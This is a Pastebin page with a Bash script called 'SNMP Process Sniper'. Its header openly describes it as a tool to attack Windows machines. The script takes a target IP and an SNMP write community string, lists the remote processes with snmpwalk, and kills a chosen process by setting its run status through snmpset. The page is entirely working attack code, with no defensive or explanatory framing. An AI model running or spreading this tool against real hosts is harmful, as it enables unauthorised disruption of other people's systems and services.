Advertisement
opexxx

snmp-process-sniper.sh

Oct 9th, 2013
190
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Bash 3.06 KB | None | 0 0
  1. #!/bin/bash
  2.  
  3. # Author:     Doug contact through HackWhackandSmack.com
  4. # Use:        To Kill Processes through SNMP Write on Windows
  5. # Released:   www.hackwhackandsmack.com
  6. # Tested:     IBM Tivoli SNMP Agent For Windows
  7. version=0.1
  8.  
  9.  
  10. echo -e "\e[00;31m####################################################################################################\e[00m"
  11. echo -e "###                    SNMP Process Sniper                             ###"
  12. echo -e "###   \e[00;32m      The program is designed to attack windows by killing processes through SNMP\e[00m     ###"
  13. echo -e "###                                       Version: $version                                    ###"
  14. echo -e "\e[00;31m####################################################################################################\e[00m"
  15.  
  16. #Set Variables
  17.  
  18. echo -e "\e[00;31mEnter The Target IP Address:\e[00m"
  19. read RHOST
  20.  
  21. echo -e "\e[00;31mEnter The Write Community String:\e[00m"
  22. read COMMUNITY
  23.  
  24. echo -e "\e[00;31mEnter SNMP Version to use(1/2c):\e[00m"
  25. read VER
  26. clear
  27. DIR="tmp" #temp files
  28.  
  29. #Create Temp Files
  30. touch "/$DIR/PID"
  31. touch "/$DIR/PROCESS_NAME"
  32. touch "/$DIR/process-list.txt"
  33.  
  34. #TEST SNMP SETTINGS
  35. Test_SNMP () {
  36. echo "Testing SNMP Settings....."
  37. test=$(snmpwalk -v $VER -c $COMMUNITY $RHOST iso.3.6.1.2.1.25.1.1 | cut -d ' ' -f 3)
  38. if [ "$test" = "Timeticks:" ]
  39.     then  
  40.     echo -e "\e[00;35mSNMP Settings Work!!\e[00m"
  41.     echo "To Start Push Enter:"
  42.     read Start
  43.     clear  
  44.         else
  45.     echo -e "\e[00;31mSomething is Wrong try again!!\e[00m"
  46.     echo -e "\e[00;31mProgram Exiting\e[00m"
  47.     exit
  48. fi
  49.  
  50. }
  51.  
  52. #PROCESS LIST Function
  53. Get_Process () {
  54.  
  55. echo "-----">/$DIR/PID
  56. echo "PID">>/$DIR/PID
  57. echo "-----">>/$DIR/PID
  58.  
  59. echo "--------------">/$DIR/PROCESS_NAME
  60. echo "Process_Name" >>/$DIR/PROCESS_NAME
  61. echo "--------------">>/$DIR/PROCESS_NAME
  62.  
  63. snmpwalk -v $VER -c $COMMUNITY $RHOST iso.3.6.1.2.1.25.4.2.1.2 | cut -d "." -f 12 | awk '{ print $1}'  2>&1 >> /$DIR/PID
  64. snmpwalk -v $VER -c $COMMUNITY $RHOST iso.3.6.1.2.1.25.4.2.1.2 | cut -d "." -f 12 | awk '{ print $4}' | cut -d '"' -f 2 >> /$DIR/PROCESS_NAME  
  65.  
  66. paste /$DIR/PID /$DIR/PROCESS_NAME  | column -t 2>&1 > "/$DIR/process-list.txt"
  67.  
  68. #Display List
  69. cat "/$DIR/process-list.txt"
  70. }
  71.  
  72.  
  73. #Kill Process Function
  74. Kill_Process () {
  75. echo -e "Enter PID that you would like to \e[00;31mKILL\e[00m"
  76. read PID
  77. clear
  78. snmpset -v $VER -c $COMMUNITY $RHOST .1.3.6.1.2.1.25.4.2.1.7.$PID i 4
  79. echo -e "\e[00;31mKilled \e[00m"$PID
  80. }
  81.  
  82. showMenu () {
  83.     echo -e "\e[00;34m##################################\e[00m"
  84.     echo -e "###    SNMP Process Sniper    ###"
  85.     echo -e "\e[00;34m##################################\e[00m"
  86.     echo -e "1) \e[00;34mRead Process List\e[00m"
  87.     echo -e "2) \e[00;34mKill A Process\e[00m"
  88.     echo -e "3) \e[00;34mQuit\e[00m"
  89.     echo -e "Choose an option:"
  90. }
  91.  
  92. #Start Program
  93. Test_SNMP
  94. #Run Looped Menu
  95. while [ 1 ]
  96. do
  97.     showMenu
  98.     read CHOICE
  99.     case "$CHOICE" in
  100.         "1")
  101.         clear
  102.         Get_Process
  103.         ;;
  104.         "2")
  105.         clear
  106.         Kill_Process
  107.         ;;
  108.         "3")
  109.         rm -r "/$DIR/PID"
  110.         rm -r "/$DIR/PROCESS_NAME"
  111.         rm -r "/$DIR/process-list.txt"
  112.         exit
  113.         ;;
  114.     esac
  115. done
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement